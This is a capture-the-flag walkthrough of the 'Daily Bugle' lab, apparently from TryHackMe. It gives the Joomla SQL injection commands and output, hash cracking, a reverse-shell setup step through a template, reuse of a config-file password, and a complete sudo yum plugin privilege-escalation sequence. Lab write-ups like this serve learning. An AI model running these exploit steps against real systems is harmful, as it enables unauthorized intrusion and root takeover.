Daily Bugle

Joomla Exploitation - Lateral Movement via Password Spraying - Yum Binary PrivEsc

  • Starting off with the nmap scan

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-title: Home
3306/tcp open  mysql   MariaDB (unauthorized)

  • Port 3306 looks interesting, as it says it can be accessed without any authorization - connection failed when authorized using mysql

  • Let's enumerate the port 80

  • Our wappalyzer tells us that the website contains a CMS called joomla

  • Let's run ./joomscan.pl to enumerate further !

unknown@kali:/data/tmp$ joomscan --url http://10.10.233.69
    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
            (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://10.10.233.69 ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.7.0

  • We can confirm that this version of Joomla is vulnerable to CVE-2017-8917

  • Searching for some more publicly available manual exploits, we can find this

unknown@kali:/data/tmp$ python joomblah.py http://10.10.233.69
 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: fb9j5_users
  -  Extracting users from fb9j5_users
 [$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
  -  Extracting sessions from fb9j5_session

  • Now that we have Jonah’s hash, let’s crack it with JohnTheRipper

unknown@kali:/data/tmp$ cat jonah.hash 
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
unknown@kali:/data/tmp$ /data/src/john/run/john jonah.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123     (?)
1g 0:00:09:27 DONE (2020-06-14 17:12) 0.001762g/s 82.55p/s 82.55c/s 82.55C/s sweetsmile..speciala
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

  • Trying these credentials for the SSH service fails :(

  • So now let's login to the Joomla login form and get access to the control panel

  • Replace the index.php with the PHP reverse shell and setup a listener ready on the other hand => Now browse http://10.10.233.69/templates/beez3/index.php and we'll have a reverse shell :)

Lateral Movement => jjameson

  • Inspected /var/www/html for anything suspicious and yes found a Configuration.php file

sh-4.2$ cat configuration.php
cat configuration.php
<?php
class JConfig {
    public $offline = '0';
    public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
    public $display_offline_message = '1';
    public $offline_image = '';
    public $sitename = 'The Daily Bugle';
    public $editor = 'tinymce';
    public $captcha = '0';
    public $list_limit = '20';
    public $access = '1';
    public $debug = '0';
    public $debug_lang = '0';
    public $dbtype = 'mysqli';
    public $host = 'localhost';
    public $user = 'root';
    public $password = 'nv5uz9r3ZEDzVjNu'

  • Found a potential password nv5uz9r3ZEDzVjNu => Tried to get root access, denied

  • Tried it for the user jjameson => Worked !

Privilege Escalation

  • Since we know the user jjameson's password - Let's connect via SSH to have a stable shell

unknown@kali:/data/tmp$ ssh jjameson@10.10.233.69
jjameson@10.10.233.69's password: 
Last login: Sun Jun 14 12:07:53 2020
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
[jjameson@dailybugle ~]$ TF=$(mktemp -d)
[jjameson@dailybugle ~]$ cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>   os.execl('/bin/sh','/bin/sh')
> EOF
[jjameson@dailybugle ~]$ sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
root
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